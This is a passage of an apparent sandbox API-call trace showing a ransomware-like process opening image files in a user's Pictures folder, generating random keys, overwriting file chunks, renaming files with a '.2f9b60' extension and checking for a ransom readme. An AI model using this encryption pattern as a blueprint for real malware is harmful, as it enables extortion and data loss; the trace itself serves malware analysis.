FileInformationClass=0x4) returned 0x0 [0237.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab370) returned 1 [0237.817] FlushFileBuffers (hFile=0x1c1c) returned 1 [0238.217] CloseHandle (hObject=0x1c1c) returned 1 [0241.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1cecfa20 [0241.510] wcscpy (in: _Dest=0x1cecfa20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\" [0241.510] wcscat (in: _Dest=0x1cecfa20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt" [0241.510] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\2f9b60-readme.txt")) returned 0x20 [0241.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfa20) returned 1 [0241.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf6a0) returned 1 Thread: id = 3764 os_tid = 0x188c [0227.450] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\QJpn5EQkaA9pb7Bu SGJ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\qjpn5eqkaa9pb7bu sgj.bmp")) returned 0x20 [0227.451] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\QJpn5EQkaA9pb7Bu SGJ.bmp", dwFileAttributes=0x20) returned 1 [0227.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\QJpn5EQkaA9pb7Bu SGJ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\qjpn5eqkaa9pb7bu sgj.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f24 [0227.452] GetFileSizeEx (in: hFile=0x1f24, lpFileSize=0x220bf880 | out: lpFileSize=0x220bf880*=82377) returned 1 [0227.452] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0x141c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.452] ReadFile (in: hFile=0x1f24, lpBuffer=0x220bf800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x220bf848, lpOverlapped=0x0 | out: lpBuffer=0x220bf800*, lpNumberOfBytesRead=0x220bf848*=0x4, lpOverlapped=0x0) returned 1 [0227.453] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1c0 [0227.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc90 [0227.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec50 [0227.454] NtQuerySystemTime (in: CurrentTime=0x220bf740 | out: CurrentTime=0x220bf740*=132462178314490000) returned 0x0 [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x7d3fb4e5 [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x3feba147 [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x5db47e3a [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x7cd87c6 [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x3ca65cc2 [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x50ac24a3 [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x4c23a5d8 [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x2f7e7fd5 [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x1b64055a [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0xaa23dfc [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x2a96ca29 [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x3c47d07c [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x6c57af7b [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x5e051020 [0227.454] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x4725e028 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x4c23a5d8 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x28715d09 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x4da1ce6a [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x5f9e32b1 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x9f2f4e6 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x14b7e77a [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x38560ed3 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x7c2a7e1f [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x1b4b1dcb [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x694f1fa2 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x1c19ce08 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x4a0f70d [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x49d2a2a6 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x159b1972 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x66339b49 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x738c73d6 [0227.455] RtlRandomEx (in: Seed=0x220bf730 | out: Seed=0x220bf730) returned 0x70f24646 [0227.462] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.462] ReadFile (in: hFile=0x1f24, lpBuffer=0x202b20b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x220bf7a0, lpOverlapped=0x0 | out: lpBuffer=0x202b20b0*, lpNumberOfBytesRead=0x220bf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0227.462] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0227.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0227.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1c0 [0227.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f1c0) returned 1 [0227.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202b98d0 [0227.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1c0 [0227.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec50 [0227.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ec50) returned 1 [0227.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0227.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0227.466] WriteFile (in: hFile=0x1f24, lpBuffer=0x202b98d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x220bf7a0, lpOverlapped=0x0 | out: lpBuffer=0x202b98d0*, lpNumberOfBytesWritten=0x220bf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0234.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b98d0) returned 1 [0234.199] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.200] ReadFile (in: hFile=0x1f24, lpBuffer=0x202b20b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x220bf7a0, lpOverlapped=0x0 | out: lpBuffer=0x202b20b0*, lpNumberOfBytesRead=0x220bf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0234.200] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ce0 [0234.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba560 [0234.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267260 [0234.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267260) returned 1 [0234.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202b98d0 [0234.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267260 [0234.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267080 [0234.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267080) returned 1 [0234.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba560) returned 1 [0234.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ce0) returned 1 [0234.204] WriteFile (in: hFile=0x1f24, lpBuffer=0x202b98d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x220bf7a0, lpOverlapped=0x0 | out: lpBuffer=0x202b98d0*, lpNumberOfBytesWritten=0x220bf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0234.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b98d0) returned 1 [0234.207] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0x105c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.207] ReadFile (in: hFile=0x1f24, lpBuffer=0x202b20b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x220bf7a0, lpOverlapped=0x0 | out: lpBuffer=0x202b20b0*, lpNumberOfBytesRead=0x220bf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0234.207] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0x105c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ce0 [0234.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba560 [0234.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267080 [0234.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267080) returned 1 [0234.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202b98d0 [0234.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267080 [0234.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f30 [0234.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f30) returned 1 [0234.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba560) returned 1 [0234.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ce0) returned 1 [0234.211] WriteFile (in: hFile=0x1f24, lpBuffer=0x202b98d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x220bf7a0, lpOverlapped=0x0 | out: lpBuffer=0x202b98d0*, lpNumberOfBytesWritten=0x220bf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0234.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b98d0) returned 1 [0234.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4310f2f0 [0234.214] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.214] WriteFile (in: hFile=0x1f24, lpBuffer=0x1ceb8320*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x220bf850, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8320*, lpNumberOfBytesWritten=0x220bf850*=0x162, lpOverlapped=0x0) returned 1 [0236.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb8320) returned 1 [0236.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058fb0) returned 1 [0236.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f1c0) returned 1 [0236.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ce0) returned 1 [0236.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310f2f0) returned 1 [0236.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dc90) returned 1 [0236.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e980) returned 1 [0236.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ebf0) returned 1 [0236.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xec) returned 0x1b78f480 [0236.282] wcscpy (in: _Dest=0x1b78f480, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\QJpn5EQkaA9pb7Bu SGJ.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\QJpn5EQkaA9pb7Bu SGJ.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\QJpn5EQkaA9pb7Bu SGJ.bmp" [0236.282] wcscat (in: _Dest=0x1b78f480, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\QJpn5EQkaA9pb7Bu SGJ.bmp.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\QJpn5EQkaA9pb7Bu SGJ.bmp.2f9b60" [0236.282] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\QJpn5EQkaA9pb7Bu SGJ.bmp.2f9b60", NtPathName=0x220bf870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\QJpn5EQkaA9pb7Bu SGJ.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x431e2340 [0237.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e2340) returned 1 [0237.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42057d20) returned 1 [0237.349] NtQueryInformationFile (in: FileHandle=0x1f24, IoStatusBlock=0x220bf8d8, FileInformation=0x220bf8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x220bf8d8, FileInformation=0x220bf8e8) returned 0x0 [0237.349] NtSetInformationFile (FileHandle=0x1f24, IoStatusBlock=0x220bf8d8, FileInformation=0x220bf8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78f480) returned 1 [0237.351] FlushFileBuffers (hFile=0x1f24) returned 1 [0238.204] CloseHandle (hObject=0x1f24) returned 1 [0241.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1cecfa20 [0241.377] wcscpy (in: _Dest=0x1cecfa20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\" [0241.377] wcscat (in: _Dest=0x1cecfa20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt" [0241.377] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\2f9b60-readme.txt")) returned 0x20 [0241.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfa20) returned 1 [0241.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798170) returned 1 Thread: id = 3765 os_tid = 0x18a8 [0227.487] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VexM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\vexm.png")) returned 0x20 [0227.487] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VexM.png", dwFileAttributes=0x20) returned 1 [0227.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VexM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\vexm.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x24a0 [0227.488] GetFileSizeEx (in: hFile=0x24a0, lpFileSize=0x1fc5f940 | out: lpFileSize=0x1fc5f940*=27425) returned 1 [0227.488] SetFilePointerEx (in: hFile=0x24a0, liDistanceToMove=0x6b1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.488] ReadFile (in: hFile=0x24a0, lpBuffer=0x1fc5f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fc5f908, lpOverlapped=0x0 | out: lpBuffer=0x1fc5f8c0*, lpNumberOfBytesRead=0x1fc5f908*=0x4, lpOverlapped=0x0) returned 1 [0227.489] SetFilePointerEx (in: hFile=0x24a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec50 [0227.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0227.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0227.491] NtQuerySystemTime (in: CurrentTime=0x1fc5f800 | out: CurrentTime=0x1fc5f800*=132462178314802000) returned 0x0 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x29251c22 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x6d7702bd [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x2caea0d9 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x60dc51fc [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x51617388 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x17037744 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x3cb1241b [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x7474b061 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x1d6cde3d [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x4fb90c51 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x1e043b66 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x460cfde7 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x40777f43 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x7f563ce9 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x2842bb00 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x732e3bd7 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x7e686d69 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x526d76d2 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x7b2cff63 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x390aaed3 [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x15f1d15d [0227.491] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x20b5ea85 [0227.492] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x4f30900d [0227.492] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x63af3fe6 [0227.492] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x5a66478b [0227.492] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x603fce3b [0227.492] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x63a4dd76 [0227.492] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x2bc23d59 [0227.492] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0xa9f7c45 [0227.492] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x1efa1cba [0227.492] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x7eeb510a [0227.492] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x1ca84e50 [0227.512] SetFilePointerEx (in: hFile=0x24a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.512] ReadFile (in: hFile=0x24a0, lpBuffer=0x202db560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1fc5f860, lpOverlapped=0x0 | out: lpBuffer=0x202db560*, lpNumberOfBytesRead=0x1fc5f860*=0x3c00, lpOverlapped=0x0) returned 1 [0227.513] SetFilePointerEx (in: hFile=0x24a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0227.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0227.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec50 [0227.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ec50) returned 1 [0227.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202e6990 [0227.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec50 [0227.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0227.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0227.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0227.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0227.517] 